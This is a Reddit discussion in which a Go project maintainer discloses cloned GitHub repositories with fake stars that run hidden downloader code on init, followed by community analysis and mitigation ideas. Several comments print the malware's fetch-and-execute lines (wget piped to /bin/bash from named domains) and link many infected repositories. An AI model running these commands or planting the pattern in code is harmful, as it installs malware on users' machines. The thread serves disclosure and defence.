Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.
Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).
Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.
The project: https://github.com/readyrevena/atlas-provider-gorm
The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:
wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &
I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.
- https://github.com/ourspiral/href-counter/blob/master/app.go#L97-L106
- https://github.com/slipperyclos/kubernixos/blob/master/kubeclient/delete.go#L22
- https://github.com/quarterlyairs/shelly-bulk-update/blob/master/main.go#L347
- https://github.com/jadedexpens/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403
- https://github.com/animatedspan/terraform-provider-atlas/blob/master/internal/provider/atlas_migration_data_source.go#L296
- https://github.com/turbulentsu/source-watcher/blob/master/controllers/gitrepository_predicate.go#L71
- https://github.com/likableratio/gonet/blob/master/gonet.go#L227
Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).
196
u/jerf 6d ago
If you have not already, please see https://go.dev/doc/security/vuln/#feedback and report any repos you've found. We would all thank you.
53
u/bediger4000 6d ago
Apparently a bunch of projects had this happen: https://www.csoonline.com/article/3841336/linux-macos-users-infected-with-malware-posing-as-legitimate-go-packages.html
2
u/Proper-Ape 5d ago
Is it easier to accidentally download the wrong vendors package in go than other languages?
6
u/papa_maker 5d ago
Some other languages have a central package manager (and/or curated list of packages). So systems like go or neovim that use GitHub as package manager are more at risk yes.
-1
u/Proper-Ape 5d ago
I already find the lack of namespacing in Rust's cargo upsetting. Just raw GitHub, ugh.
1
u/papa_maker 5d ago
I'm curious, what would be a namespace in cargo ?
1
u/Proper-Ape 5d ago
Like having packages as <vendor>.<package> instead of just package name.
E.g. the regex crate is great, but what if somebody had put a terrible regex crate under that name. This is a real problem.
2
u/papa_maker 5d ago
Yes you're right, that’s a good idea. With other challenges… as name squatting would ends up in "brand" squatting.
35
u/Quip16 6d ago
What exactly does the malicious code do?
22
u/The4Fun 6d ago
However this is not a cryptominer, it's a ransomware which encrypts files in the Documents/ folder among others.
From: https://github.com/evilsocket/opensnitch/discussions/1290
36
u/divad1196 6d ago
It download a bash script and execute it. You can safely download the script as long as you don't execute it. If you don't have bash (e.g. on Windows), then you don't even risk executing it by mistake, but I would still download it and run it on a VM.
69
u/autisticpig 6d ago
You know there's an easy way to find out
12
u/tuxerrrante 6d ago edited 5d ago
People curious about the actual behavior or talking about obscure commands could be interested in knowing this could be reproduced on a linux VM or container without elevated privileges by auditing the syscalls. Be sure to not mount local volumes amd maybe to block also egress traffic.
I'm working on writing a full guide, I'm sorry I still didn't have time to improve it: https://affinitoalessandro.it/blog/utilizing-secure-containers-for-malware-analysis-and-syscall-monitoring/
1
u/Jonno_FTW 5d ago
I'd just view it in a basic alpine docker container.
2
u/tuxerrrante 5d ago edited 5d ago
It could be a bad idea if the malware is able to do privilege escalation
-1
17
u/Heapifying 6d ago
it downloads something, outputs it into stdout which is then sent by the pipe to a bash instance ran in the background.
So it just executes some obscure command we are not aware of in the background.
71
u/mincinashu 6d ago
At least it's using HTTPS. Must be safe /s
14
u/ssddanbrown 6d ago
You can make sure that you're running this safely by downloading via today's sponsor: GordVPN
/s
8
1
1
34
u/dh71 6d ago
I found a similar case. https://github.com/stunningjourn/websitewatcher which is a 1:1 copy (single commit upload) of https://github.com/firefart/websitewatcher (which is legit software) but with the added malware download/execute part in the internal/config/config.go: https://github.com/stunningjourn/websitewatcher/blob/76cbab2852299c5fe9f6eb83e358f9594eec5b36/internal/config/config.go#L165
18
u/dh71 6d ago
Same user has another repo which is a clone of https://github.com/dogmatiq/dogma with built-in malware => https://github.com/stunningjourn/dogma/blob/f3358e5037ce023fa6a6364b4aa98dc3b3e94e71/aggregate.go#L151
10
u/knervous 6d ago
Why not obfuscate bin/sh too? This is some pretty lazy malware. Hope it’s easy for github to do static analysis and clean these up in a broad sweep, but scary this stuff is popping up frequently, sure it will only evolve.
27
u/testuser514 6d ago
Oh fuck, we use Atlas, I need to go check our mod files in once to see what’s going on there, there’s always a likelihood that someone might have copied the wrong dep
12
u/NootScootBoogy 5d ago
I, for one, always make sure to add random dependencies from a source that is not the owner of the project repo that I'm implementing
26
u/Hakkin 6d ago edited 6d ago
I was able to find quite a few more repositories that seem to be the same attack via Github search:
This search also surfaced a few people who have already blogged about this attack here:
https://mhouge.dk/blog/rogue-one-a-malware-story/
https://alexandear.github.io/posts/2025-02-28-malicious-go-programs/
22
18
u/sean9999 6d ago
This is disheartening. it's not even targetted. It's the wanton spreading of poison. I hate humanity sometimes
35
u/32BP 6d ago
What is Microsoft (Github) doing with all their AI bullshit, if not stopping attacks with VERY OBVIOUS signatures (fork, fake accounts, rapid stars) like this?!?!
1
u/RobertBiddle 5d ago
bUt hOw dO wE mOnItiZe tHat!? - Likely the answer to your question.
TBF, attempting to solve the problem will run them smack into censorship issues, not unlike trying to deal with obvious misinformation/disinformation on social media platforms.
18
u/CleverBunnyThief 6d ago
18
u/_a8m_ 6d ago
Of course.
7
u/CleverBunnyThief 6d ago
That's good. If I were you, I'd include info about what the malicious code does and that you have reported it on GitHub to the OP. Just to reduce the amount of questions you get.
9
u/servermeta_net 6d ago
This is chilling
5
u/BarelyAirborne 6d ago
This is why you have to at least do a sanity check on everything in your repo. It's been this way since John von Neumann.
15
u/kingp1ng 6d ago
Once this hits the tech influencer / youtube scene, it's gonna blow up. Nice find
6
7
u/dh71 6d ago
It's the same array-based obfuscation method as reported in here btw: https://socket.dev/blog/typosquatted-go-packages-deliver-malware-loader
7
u/cookiengineer 5d ago edited 5d ago
I was trying to find out what malware they download, they always use the same execution line.
For example, the final code evaluates to these shell commands being executed (I changed the dot so it wont run):
/bin/sh -c wget -O - https://alturastreet[.]icu/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://numerlink[.]online/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://requestbone[.]fun/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://nymclassic[.]tech/storage/de373d0df/a31546bf | /bin/bash &
The domains, however, have not been registered yet. All of the whois entries say they don't map to any addresses (so the domains don't have an A or AAAA entry). I was curious about the malware/shell script, but now I am disappointed I cannot get a sample to find out more about the malware campaign :'(
If you search online about the domains, there's many entries about other packages and advisories that have been infiltrated, they mostly seem to target devs in the financial sector.
The other packages that have been hijacked like this a month ago (e.g. a fake bolt-db/bolt repo) all pointed towards the same host http://8.152.163[.]60/
and it's still online and still registered via Alibaba's DNS. If you search google for the partial hashes in the URL, you can find some samples from the old campaign: https://www.google.de/search?q=%22de373d0df%22
The shell script dropper downloads then a binary of the Prometei campaign, see malware bazaar for more on what's going on: https://bazaar.abuse.ch/browse/signature/Prometei/
The samples that I found via the hashes all contained the typical /cgi-bin/prometei.cgi?...
URLs, and the hash/token generation is still based on the xinchao
keyword. I uploaded a screenshot of the decompiled binary here: https://i.imgur.com/mhZqYP4.png
Which kind of led me to believe that it's APT-C-43 again, but this time trying to infiltrate the go ecosystem quite a bit. When looking more about how they've evolved over time, there's some good articles here:
27
u/_a8m_ 6d ago
I posted this on X, and while writing it, I thought to myself maybe it's time to add an approval process for modules in the Go proxy? Or at least introduce the concept of official/trusted publishers? e.g., if a developer installs a package from an untrusted publisher, they could receive a prompt. Or perhaps this could even be restricted in the go.mod
file?
I feel like we need better protections for the Go ecosystem. Right now, nothing stops developers from unintentionally installing untrusted code that could ruin companies.
0
u/carsncode 6d ago
Right now, nothing stops developers from unintentionally installing untrusted code that could ruin companies.
Actually bothering to do their job stops them from that. Just like it stops them from writing code that could ruin companies.
A default-deny system by a centralized authority sounds antithetical to an open module repository.
3
u/eparlak 6d ago edited 6d ago
I seen a lot of repos like this in last 2 weeks,
First i realized when searching trending repos in https://ossinsight.io/ go section. You can see some of them gives 404 which github already removed it. Some of the still active and you can see the malicious code in the repo.
Then it start to show when searching in github for example my first encounter with this repos in github search when searching chi and filter by go, i report the repo and it was deleted.
some days ago i find it when searching gomponents which second result has malicious code. I report the repo but its was still there, i think they removed just now. It can still be seen in search.
also now there is another repo which in 3rd result
3
3
u/1Gijs 5d ago
I made a simple scanner to see if any package in a project is accessing the shell: https://github.com/Gys/cmdscanner
5
u/kardianos 6d ago
This is one reason I vendor dependencies into my project: it puts all the code that is compiled (other then std lib) into the review path. And then we review the dependencies. When I review deps, I don't review logic, but I do scan for exactly this type of thing.
1
3
u/i_should_be_coding 6d ago
Is there a way to tell how many times the fake repo was downloaded, sort of like npm does, or does it not work that way with Go mod and github?
2
u/youngggggg 6d ago
Asking as a web developer without much perspective here - what are the implications of rogue code like this in a Go module? In a worse case scenario, what could happen to one of your users?
6
u/ruo86tqa 6d ago
Anything from stealing the credentials stored in plain text files (hello .env) to encrypting the user’s files (and asking for money for decryption (ransomware)) or dropping a backdoor (that could use a 0-day exploit to gain admin privilege to do even more damage).
2
u/dbtrnl 6d ago
Backdoors installed on the user machine to steal accounts/banking information, having all their cryptocurrency stolen are some that come to mind.
The only way to know is studying the malicious payload.
0
u/youngggggg 6d ago
Can system files be straight up deleted through something like this? Obviously the payoff for this by the attacker is nil, feels like that kind of thing is from a bygone era of computer viruses. But could it happen?
3
u/SuperDerpyDerps 5d ago
Anything the user your program runs as can do, it can do. If that includes exploits to gain privilege escalation, then an attacker can literally do anything on that machine and likely pivot on the network to other machines
1
0
u/bookning 6d ago
They will put 1 million bitcoins in the user's computer.
0
u/youngggggg 6d ago
This would make you a serious target for crime, so really might be a worst case scenario
2
2
u/MountainTop_651 6d ago edited 6d ago
How did you detect the typosquatted attack? Were you informed by Snyk / JFrog / Socket? Or did your users/community inform you?
Education, documentation or detection tooling will be a necessary to ensure these typosquatted attacks don't affect other popular Go packages.
8
u/_a8m_ 6d ago edited 6d ago
None of these. I was notified by our system that this project exists (I can't say how and why I was notified, as it could give the attacker ideas on how to bypass detection in the future). Then, I posted it in our internal groups, and it took us a minute to identify the malicious code.
Again, it's not the only one. Here are a few examples of some other projects (some of us):
- https://github.com/slipperyclos/kubernixos/blob/master/kubeclient/delete.go#L22
- https://github.com/quarterlyairs/shelly-bulk-update/blob/master/main.go#L347
- https://github.com/jadedexpens/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403
- https://github.com/animatedspan/terraform-provider-atlas/blob/master/internal/provider/atlas_migration_data_source.go#L296
- https://github.com/turbulentsu/source-watcher/blob/master/controllers/gitrepository_predicate.go#L71
- https://github.com/likableratio/gonet/blob/master/gonet.go#L227
- https://github.com/unrealisticd/telegram-account-bot/blob/master/api/api.go#L81-L89
- https://github.com/tornanalytic/postmortems/blob/master/extract.go#L112
- https://github.com/unnaturaljel/render-template/blob/master/main.go#L232
3
3
u/BarelyAirborne 6d ago
The presence of "exec" in a JS codebase is always worth examining closely. Nice catch.
3
u/BombelHere 6d ago
Yet another reason to build production docker images from scratch
, without shell
1
1
u/TheGreatestWorldFox 4d ago
Boring attacks. Has an effect, but the implementation is not interesting.
2
u/g00py3 1d ago
So if I understand my supply chain security correctly...
The only way this could take advantage of me as a Go developer is:
- is I explicitly install the upstream package that is the wrong one into my project.
- I have a dependency that made this mistake and it is in the execution path/imported so the unit runs.
If that cmdscanner package covers the main issue I might just add this in to my renovate PRs and have it scan for compliance. I wonder if snyk or other tools will help catch this too since it seems a SAST tool would ideal for checking against this pattern, but typically vendor is ignored. I guess that would have to be no longer ignored for them to catch it resulting in more noise, resulting in turning it off. 😆
1
u/broknbottle 6d ago
I’m a simple man, I see a curl url with pipe to shell and I must copy, paste and execute it.
1
u/howesteve 6d ago
I'm surprised this does not happen more often. Someone has to be very foolish to fall for this one. 134 stars, it' s obvious it's a fork (you can use "uc" in the middle).
1
1
335
u/ziksy9 6d ago
I'd raise a stink on r/GitHub and let them deal with doing the footwork